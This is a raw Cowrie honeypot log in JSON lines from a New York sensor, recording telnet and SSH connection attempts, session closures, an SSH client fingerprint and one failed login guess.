{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":32922,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfa6ee50fa7","protocol":"telnet","message":"New connection: 50.116.100.16:32922 (159.203.135.109:23) [session: 2bfa6ee50fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:52.472258Z"}
{"eventid":"cowrie.session.closed","duration":31.21653985977173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:52.530659Z","src_ip":"50.116.100.16","session":"bd5225b926ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26197075843811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:52.745352Z","src_ip":"66.113.179.55","session":"3b799092a52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59485960006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:53.078090Z","src_ip":"186.64.112.9","session":"1e9d5c22bf51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.744807720184326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:53.448915Z","src_ip":"66.113.179.55","session":"a170c0810017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391427516937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:53.993176Z","src_ip":"66.113.179.55","session":"10b23e956211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59222,"dst_ip":"159.203.135.109","dst_port":22,"session":"b653f8267b15","protocol":"ssh","message":"New connection: 159.203.92.129:59222 (159.203.135.109:22) [session: b653f8267b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:55.004844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:55.010314Z","src_ip":"159.203.92.129","session":"b653f8267b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:55.019223Z","src_ip":"159.203.92.129","session":"b653f8267b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aicg","password":"123","message":"login attempt [aicg/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:55.035110Z","src_ip":"159.203.92.129","session":"b653f8267b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.170692682266235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:55.116605Z","src_ip":"50.116.100.16","session":"37b04be83796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77604103088379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:55.563013Z","src_ip":"66.113.179.55","session":"65ac92987b48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:56.042523Z","src_ip":"159.203.92.129","session":"b653f8267b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.824115753173828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:56.481698Z","src_ip":"66.113.179.55","session":"c1cff1bab81d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490684986114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:56.488879Z","src_ip":"66.113.179.55","session":"9ecd110b810b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644450902938843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:56.505688Z","src_ip":"66.113.179.55","session":"efb2513adc56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479767084121704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:57.582870Z","src_ip":"66.113.179.55","session":"b228495df8ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096413135528564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:57.608086Z","src_ip":"66.113.179.55","session":"09704735c1ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744412422180176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:58.104417Z","src_ip":"186.64.112.9","session":"892b20e80791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7647762298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:58.109101Z","src_ip":"186.64.112.9","session":"2e29a5bb350e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"889794b96a92","protocol":"telnet","message":"New connection: 66.113.179.55:35812 (10.17.0.5:23) [session: 889794b96a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:58.409228Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"06bff4d87996","protocol":"telnet","message":"New connection: 66.113.179.55:36612 (10.17.0.5:23) [session: 06bff4d87996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:58.709496Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":40414,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1623f04c53e","protocol":"telnet","message":"New connection: 50.116.100.16:40414 (159.203.135.109:23) [session: a1623f04c53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:59.274598Z"}
{"eventid":"cowrie.session.closed","duration":30.8022141456604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:59.535074Z","src_ip":"66.113.179.55","session":"9e6c69a9d103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4978985786438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:59.558608Z","src_ip":"66.113.179.55","session":"0bcdef160d9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973060131072998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:00.360843Z","src_ip":"66.113.179.55","session":"1f3f43f443ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40998,"dst_ip":"10.17.0.5","dst_port":23,"session":"653d65796b31","protocol":"telnet","message":"New connection: 66.113.179.55:40998 (10.17.0.5:23) [session: 653d65796b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:00.387127Z"}
{"eventid":"cowrie.session.closed","duration":30.977463722229004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:00.534296Z","src_ip":"66.113.179.55","session":"4f11f28e0656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43928,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eacfd30dbc2","protocol":"telnet","message":"New connection: 66.113.179.55:43928 (10.17.0.5:23) [session: 1eacfd30dbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:01.308687Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":42792,"dst_ip":"159.203.135.109","dst_port":23,"session":"158e02a36643","protocol":"telnet","message":"New connection: 50.116.100.16:42792 (159.203.135.109:23) [session: 158e02a36643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:01.424532Z"}
{"eventid":"cowrie.session.closed","duration":30.678665161132812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:01.481886Z","src_ip":"66.113.179.55","session":"1157932f64ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386018991470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:01.522031Z","src_ip":"66.113.179.55","session":"64ddfafd5455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":45564,"dst_ip":"10.17.0.5","dst_port":23,"session":"c56c0ce06c6d","protocol":"telnet","message":"New connection: 66.113.179.55:45564 (10.17.0.5:23) [session: c56c0ce06c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:01.821754Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":46222,"dst_ip":"10.17.0.5","dst_port":23,"session":"00dd900b864d","protocol":"telnet","message":"New connection: 66.113.179.55:46222 (10.17.0.5:23) [session: 00dd900b864d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:02.046029Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":46738,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a099eeb1a8","protocol":"telnet","message":"New connection: 66.113.179.55:46738 (10.17.0.5:23) [session: 89a099eeb1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:02.223698Z"}
{"eventid":"cowrie.session.closed","duration":30.377565383911133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:03.133675Z","src_ip":"186.64.112.9","session":"d4b52224ef3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106035947799683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:03.242696Z","src_ip":"66.113.179.55","session":"bbe8cde20c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752317190170288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:04.128427Z","src_ip":"186.64.112.9","session":"b9f21605b8a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70167875289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:04.799093Z","src_ip":"66.113.179.55","session":"0ce92cec4ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797176122665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:05.158669Z","src_ip":"50.116.100.16","session":"a4ab349d7458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9883930683136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:05.332989Z","src_ip":"50.116.100.16","session":"bbc3cf9f37a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":56206,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48887df9d6e","protocol":"telnet","message":"New connection: 66.113.179.55:56206 (10.17.0.5:23) [session: d48887df9d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:05.343052Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":47400,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b9f3730416","protocol":"telnet","message":"New connection: 50.116.100.16:47400 (159.203.135.109:23) [session: b5b9f3730416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:05.398884Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57054,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ce15e02928","protocol":"telnet","message":"New connection: 66.113.179.55:57054 (10.17.0.5:23) [session: c3ce15e02928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:05.634340Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57342,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa902309318a","protocol":"telnet","message":"New connection: 66.113.179.55:57342 (10.17.0.5:23) [session: fa902309318a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:05.730294Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":42584,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee8870e535b","protocol":"telnet","message":"New connection: 186.64.112.9:42584 (10.17.0.5:23) [session: aee8870e535b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:06.355886Z"}
{"eventid":"cowrie.session.closed","duration":30.46779179573059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:06.636272Z","src_ip":"66.113.179.55","session":"ef23b089c77c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60570,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda9f40f4783","protocol":"telnet","message":"New connection: 66.113.179.55:60570 (10.17.0.5:23) [session: eda9f40f4783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:06.774681Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":45866,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed5680bf47c","protocol":"telnet","message":"New connection: 50.116.100.16:45866 (159.203.135.109:23) [session: 3ed5680bf47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:07.022157Z"}
{"eventid":"cowrie.session.closed","duration":30.370012998580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:07.576596Z","src_ip":"66.113.179.55","session":"91ff8fc5c8aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812901973724365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:08.129284Z","src_ip":"50.116.100.16","session":"c13fe9c4f651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495710134506226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:08.195783Z","src_ip":"50.116.100.16","session":"063904ba9eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":49514,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0d3bc0e97b","protocol":"telnet","message":"New connection: 50.116.100.16:49514 (159.203.135.109:23) [session: 9a0d3bc0e97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:08.273306Z"}
{"eventid":"cowrie.session.closed","duration":30.80709671974182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:08.512998Z","src_ip":"66.113.179.55","session":"c82c090cdc5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":51270,"dst_ip":"159.203.135.109","dst_port":23,"session":"3572f3213ee1","protocol":"telnet","message":"New connection: 50.116.100.16:51270 (159.203.135.109:23) [session: 3572f3213ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:08.781747Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38864,"dst_ip":"10.17.0.5","dst_port":23,"session":"628e2eba13e6","protocol":"telnet","message":"New connection: 66.113.179.55:38864 (10.17.0.5:23) [session: 628e2eba13e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:08.823820Z"}
{"eventid":"cowrie.session.closed","duration":30.663419723510742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:09.093118Z","src_ip":"186.64.112.9","session":"fcc417437e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.572819709777832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:09.900757Z","src_ip":"186.64.112.9","session":"90520df22455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751904249191284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:10.074421Z","src_ip":"186.64.112.9","session":"5527f39b3fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.275334358215332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:10.632395Z","src_ip":"66.113.179.55","session":"a7249e91ed6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.380959272384644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:11.059575Z","src_ip":"66.113.179.55","session":"f19e205c8b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":54864,"dst_ip":"159.203.135.109","dst_port":23,"session":"04844c5a0a41","protocol":"telnet","message":"New connection: 50.116.100.16:54864 (159.203.135.109:23) [session: 04844c5a0a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:11.922977Z"}
{"eventid":"cowrie.session.closed","duration":30.477622985839844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:12.491880Z","src_ip":"66.113.179.55","session":"117d874c0a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7700092792511,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:12.497839Z","src_ip":"66.113.179.55","session":"726bebac6ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848156452178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:12.530714Z","src_ip":"66.113.179.55","session":"20d1e13371ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f3ac6215f9","protocol":"telnet","message":"New connection: 66.113.179.55:51752 (10.17.0.5:23) [session: 71f3ac6215f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:12.934378Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53478,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50f1611a63f","protocol":"telnet","message":"New connection: 66.113.179.55:53478 (10.17.0.5:23) [session: c50f1611a63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:13.463002Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5a06f5fa02","protocol":"telnet","message":"New connection: 186.64.112.9:43584 (10.17.0.5:23) [session: cd5a06f5fa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:14.008985Z"}
{"eventid":"cowrie.session.closed","duration":31.19933295249939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:15.006701Z","src_ip":"66.113.179.55","session":"1cd708662b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09532880783081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:15.229413Z","src_ip":"186.64.112.9","session":"c477cd1db160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":43930,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e85d3691fb","protocol":"telnet","message":"New connection: 186.64.112.9:43930 (10.17.0.5:23) [session: 94e85d3691fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:15.922420Z"}
{"eventid":"cowrie.session.closed","duration":30.69174337387085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:16.084831Z","src_ip":"186.64.112.9","session":"f1c3ce718037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33684,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc1b25ac39df","protocol":"telnet","message":"New connection: 66.113.179.55:33684 (10.17.0.5:23) [session: fc1b25ac39df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:16.131490Z"}
{"eventid":"cowrie.session.closed","duration":31.241957426071167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:16.327860Z","src_ip":"186.64.112.9","session":"327072768bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35954,"dst_ip":"10.17.0.5","dst_port":23,"session":"0517cdd314f8","protocol":"telnet","message":"New connection: 66.113.179.55:35954 (10.17.0.5:23) [session: 0517cdd314f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:16.889577Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36024,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ec3ea91a77","protocol":"telnet","message":"New connection: 66.113.179.55:36024 (10.17.0.5:23) [session: 36ec3ea91a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:16.911550Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb7d58b75ca","protocol":"telnet","message":"New connection: 66.113.179.55:37642 (10.17.0.5:23) [session: acb7d58b75ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.463687Z"}
